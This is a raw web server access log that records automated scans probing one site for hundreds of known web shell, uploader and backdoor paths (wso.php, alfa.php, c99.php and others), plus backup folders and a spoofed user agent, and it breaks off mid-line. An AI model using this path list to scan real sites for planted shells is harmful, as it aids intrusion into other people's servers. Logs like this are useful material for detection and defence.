"-" 52.254.10.121 - - [08/Apr/2025:15:54:02 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:04 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:06 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:09 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:10 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:12 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:14 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:17 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:22 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:25 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:29 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:32 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:34 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:37 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:40 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:41 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:43 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:46 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:48 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:50 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:53 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:55 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:54:57 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:00 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:06 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:10 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:16 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:20 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:26 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:30 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:33 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:37 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:40 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:43 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:46 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:48 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:51 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:53 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:55:55 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:00 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:03 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:06 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:07 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:10 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:13 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:15 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:17 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:19 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:21 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:22 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:24 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:26 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:29 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:31 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:35 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:37 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:40 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:43 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:46 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:49 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:52 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:54 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:56 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:56:58 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:02 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:07 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:09 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:12 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:17 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:23 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:27 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:30 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:34 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:38 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:41 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:45 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:48 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:50 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:52 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:55 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:57 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:57:58 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:00 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:01 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:03 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:05 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:09 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:11 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:15 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:20 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:23 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:27 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:31 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:35 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:40 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:42 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:45 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:47 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:50 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:53 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:55 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:58:59 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:04 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:06 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:10 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:15 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:20 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:25 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:29 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:33 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:37 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:42 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:48 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:53 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:15:59:59 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:16:00:09 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:16:00:20 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:16:00:30 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:16:00:37 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:16:00:44 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:16:00:49 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.254.10.121 - - [08/Apr/2025:16:00:54 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 172.206.122.170 - - [08/Apr/2025:16:14:36 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:16:14:46 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:16:14:53 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:16:15:00 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:16:15:11 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:16:15:18 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:16:15:22 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [08/Apr/2025:16:15:25 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.173.131.14 - - [08/Apr/2025:16:18:25 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:18:34 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:18:39 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:18:44 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:18:48 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:18:53 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:18:57 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:02 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:06 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:13 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:16 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:19 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:26 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:31 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:34 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:39 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:45 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:51 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:19:57 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:02 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:10 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:15 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:19 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:22 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:26 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:31 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:36 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:41 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:42 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:48 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:53 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:20:59 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:05 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:09 -0400] "GET /home/storage/0/b8/30/localexpress1/public_html/wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:13 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:18 -0400] "GET /wp-includes/cloud.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:23 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:29 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:33 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:37 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:46 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:50 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:21:57 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:01 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:06 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:10 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:14 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:17 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:22 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:26 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:30 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:33 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:36 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:42 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:46 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:49 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:53 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:22:58 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:02 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:06 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:07 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:09 -0400] "GET /.well-known/cloud.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:12 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:14 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:16 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:18 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:21 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:26 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:29 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:33 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:38 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:41 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:43 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:50 -0400] "GET /wp-includes/system_log.php?p= HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:23:56 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:01 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:07 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:14 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:19 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:23 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:28 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:31 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:34 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:38 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:43 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 172.173.130.58 - - [08/Apr/2025:16:24:43 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.173.130.58 - - [08/Apr/2025:16:24:46 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:50 -0400] "GET /wp-admin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.173.130.58 - - [08/Apr/2025:16:24:50 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:24:53 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "-" "-" 172.173.130.58 - - [08/Apr/2025:16:25:00 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 172.173.131.14 - - [08/Apr/2025:16:25:05 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 196.251.72.179 - - [08/Apr/2025:17:09:56 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.72.179 - - [08/Apr/2025:17:09:56 -0400] "POST /wp-plain.php HTTP/1.1" 